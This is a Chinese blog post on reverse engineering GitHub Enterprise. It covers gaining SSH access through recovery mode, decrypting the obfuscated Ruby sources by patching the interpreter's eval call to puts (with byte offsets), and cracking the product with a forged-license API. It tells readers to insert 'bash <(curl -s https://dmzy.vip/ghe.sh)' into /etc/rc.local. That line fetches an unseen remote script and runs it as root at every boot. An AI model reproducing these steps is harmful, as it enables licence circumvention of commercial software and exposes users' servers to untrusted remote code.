GitHub Enterprise 逆向分析

GitHub Enterprise 逆向分析

deny
2021-10-04 / 2 评论 / 322 阅读 / 正在检测是否收录...

废话 & 吐槽

距离上一次更新博客已经是一年多以前的事情了,这期间也计划着写一些文章,所以后台中有挺多篇草稿。不过也仅处于新建文件夹的状态;拖延症加上我的文笔确实烂,导致我无从下笔。今天能更新这篇文章,还是多亏了失眠让睡不着觉。我也感觉近期失眠有点严重了,每天凌晨4点左右入睡,第二天7点半准时醒来,之后便睡不着了;着实感觉有点吃不消。
好了,吐槽完毕,进入正题。

前言

在很早选型git服务器的时候了解到github企业版,但是最终还是使用了gitlab社区版。虽然使用了gitlab,但还是想试试github,于是便盘算着尝试逆向github玩玩;不过这期间也是短短续续的在进行分析;
在几个月前,分析了gitlab企业版的授权之后,才正式对github进行逆向。
首先便是去搜索相关资料,结果可想而知,翻来覆去也就那么几篇文章,而且并没有细致的过程(如果有的话就不会有这片文章了)。

正文

以下部分截图与分析基于3.1.5版本,适用于最新版本,截图可能稍显出入。
官网提供了多种介质的下载,不过无一例外的都是基于虚拟机运行的,并没有物理机的安装介质。
安装步骤也十分简单,只需下载对应的介质导入即可。 需要注意的是在启动前需要增加一块虚拟硬盘,大小建议100G以上。
启动之后,虚拟机会提供一个ssh端口122供管理使用,但问题在于我们并没有账号密码,不能直接进行登录。
所以首要便是解决ssh登录问题,这里提供我的解决思路:
导入后不要启动,将github虚拟机的磁盘挂载到其他linux虚拟机上进行修改。具体需要修改什么请自行查找资料。

另一种方案是通过恢复模式进行修改,同样的也不提供具体的教程。
进入恢复模式步骤:
打开电源 -> 开机后马上选择第二项 -> 继续选择第二项
Snipaste_2021-10-04_01-13-33.png
Snipaste_2021-10-04_01-15-08.png
完成修改后重启系统便可以使用ssh进行连接。

经过一顿分析后得知github使用ruby编写,但是ruby文件是加密的,需要解密后才能得到源码。解密这部分网上有相关资料可查询。不过网上有些文章已经过时了。
我使用的解密方法是修改ruby程序,将eval函数替换成了puts。步骤如下:
拖入IDA 64位,等待分析完成,搜索字符串__ruby_concealer__,找到引用位置后一路跟过去。
Snipaste_2021-10-04_02-56-32.png
concealer_load 这个函数便是文件加载后调用的函数了,该函数作用是将ruby内容解密并调用rb_f_eval进行执行。
具体修改方法:
只需要将此处的rb_f_eval函数改成rb_f_puts函数,将修改后的文件上传到github虚拟机,运行命令./ruby 加密文件,即可实现将文件解密并打印到屏幕。

.text:0000000000071743                 mov     rsi, rbx        ; argv
.text:0000000000071746                 mov     rdx, self       ; self
.text:0000000000071749                 mov     edi, 3          ; argc
.text:000000000007174E                 mov     [rsp+48h+var_38], rax
.text:0000000000071753                 call    rb_f_eval
.text:0000000000071758                 mov     rbx, [rsp+48h+var_30]
.text:000000000007175D                 xor     rbx, fs:28h
.text:0000000000071766                 jnz     loc_71819
.text:000000000007176C                 add     rsp, 28h
指令地址:0x71753
指令长度:0x5

指令:E8 58 A4 11 00
指令名称:call rb_f_eval
E8 -> call指令 , 58 A4 11 00 -> rb_f_eval函数与当前指令的相对位置。

函数名称:rb_f_eval
函数地址:0x18BBB0

函数地址 - 指令地址 - 指令长度 = 00 11 A4 58
0x18BBB0 - 0x71753 - 0x5

函数名称:rb_f_puts
函数地址:0x05E370

函数地址 - 指令地址 - 指令长度 = FF FE CC 18
0x05E370 - 0x71753 - 0x5

指令:E8 18 CC FE FF
指令名称:call rb_f_puts

license 相关ruby代码位于/data/enterprise-manage/current/vendor/gems/ruby/2.7.0/gems/enterprise-crypto-0.4.22中。
license 验证证书位于 /data/enterprise 中。
解密之后即可自行分析代码逻辑。

破解

上面正文逻辑可能写的略有混乱,所以在此提供简单易用的破解方法。
破解的方式无非两种修改源码和伪造授权,修改源码的话每次更新都需要进行修改,而伪造授权的方式则不需要。所以这里采用伪造授权的方法进行破解。
同时也为了方便使用不需要设置ssh即可使用。
完整食用方法:

  1. 导入虚拟机,添加硬盘,进入恢复模式。
  2. 编辑文件/etc/rc.local 在第二行插入一行 bash <(curl -s https://dmzy.vip/ghe.sh)
  3. 重启进入正常启动流程。启动完成后依照控制台信息上传授权文件

授权文件生成API

Host: https://api.deny.cx
URL:/github/license/generate/blog
方法:POST
参数:

Name  # 自定义
Email # 自定义
Expiration  # 过期时间,格式2022-01-01,最大可设置为当前时间往后推两年。

kubodb7y.png

0

评论 (2)

取消
  1. 头像
    ochaly
    MacOS · Google Chrome

    这个现在不能用了吗?我这里提示授权文件无效

    回复
    1. 头像
      deny 作者
      MacOS · Google Chrome
      @ ochaly

      能用的啊,你版本是多少?

      回复